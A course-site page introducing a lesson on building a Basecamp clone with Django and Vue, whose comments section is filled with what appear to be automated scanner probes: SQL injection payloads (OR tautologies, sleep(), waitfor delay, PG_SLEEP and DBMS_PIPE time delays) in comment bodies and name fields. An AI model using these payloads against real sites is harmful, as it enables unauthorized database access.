Introduction - Building A Basecamp Clone Using Django 6 And Vue 3

You need to be subscribed to a plan to get access to the full course.

Basecamp is a really great tool for managing small and large projects. In this project, we will use Django and Vue to make it possible to have boards, todo lists, tasks, assignments, calendars, chat, file management, reports, and much more.

Watch this lesson for free

We are going to begin with the very basics like setting up our projects (Both Django and Vue). When things are ready, we will begin setting up the whole project, but in small pieces.

Building a large project like Basecamp requires a lot of code, and it's important that we take our time to think through everything.

It's also much easier to build and to learn when we can split everything into small tasks.

Backend

The backend will be build using Django and Django Rest Framework. This means that it will be isolated from the frontend. So in theory, we will be building an API that can be used both for the web application, but also for an app, or similar.

Frontend

For the front end, we will be focusing on learning Vue and Tailwind.

Comments

EFSArCBy | Jul 02, 26 09:01

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

-1 OR 2+903-903-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 09:02

-1 OR 2+954-954-1=0+0+0+1

EFSArCBy | Jul 02, 26 09:02

-1' OR 2+566-566-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 09:02

-1' OR 2+297-297-1=0+0+0+1 or 'KT72geBV'='

EFSArCBy | Jul 02, 26 09:02

-1" OR 2+748-748-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 09:02

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 09:02

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 09:02

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 09:02

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 09:02

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 09:02

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 09:02

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 09:02

5556a8AOMDA'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 09:02

555-1 OR 751=(SELECT 751 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 09:02

555-1) OR 450=(SELECT 450 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 09:02

555-1)) OR 909=(SELECT 909 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 09:02

555tptz9hFc' OR 238=(SELECT 238 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 09:02

555YQIt83KA') OR 914=(SELECT 914 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 09:02

555U8Fzyfaj')) OR 552=(SELECT 552 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 09:02

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 09:02

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555'"

EFSArCBy | Jul 02, 26 09:02

@@6AFRG

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

-1 OR 2+79-79-1=0+0+0+1 -- | Jul 02, 26 09:02

555

-1 OR 2+245-245-1=0+0+0+1 | Jul 02, 26 09:02

555

-1' OR 2+993-993-1=0+0+0+1 -- | Jul 02, 26 09:02

555

-1' OR 2+153-153-1=0+0+0+1 or 'VrWHwFCS'=' | Jul 02, 26 09:02

555

-1" OR 2+129-129-1=0+0+0+1 -- | Jul 02, 26 09:02

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 09:02

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 09:02

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 09:02

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 09:02

555

EFSArCByolEUPbYU'; waitfor delay '0:0:15' -- | Jul 02, 26 09:02

555

EFSArCByzTLtS8U9' OR 863=(SELECT 863 FROM PG_SLEEP(15))-- | Jul 02, 26 09:02

555

EFSArCByUrg3qYJy') OR 735=(SELECT 735 FROM PG_SLEEP(15))-- | Jul 02, 26 09:02

555

EFSArCBytka9A8sN')) OR 606=(SELECT 606 FROM PG_SLEEP(15))-- | Jul 02, 26 09:02

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy'" | Jul 02, 26 09:02

555

@@6w1B7 | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

EFSArCBy | Jul 02, 26 09:02

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.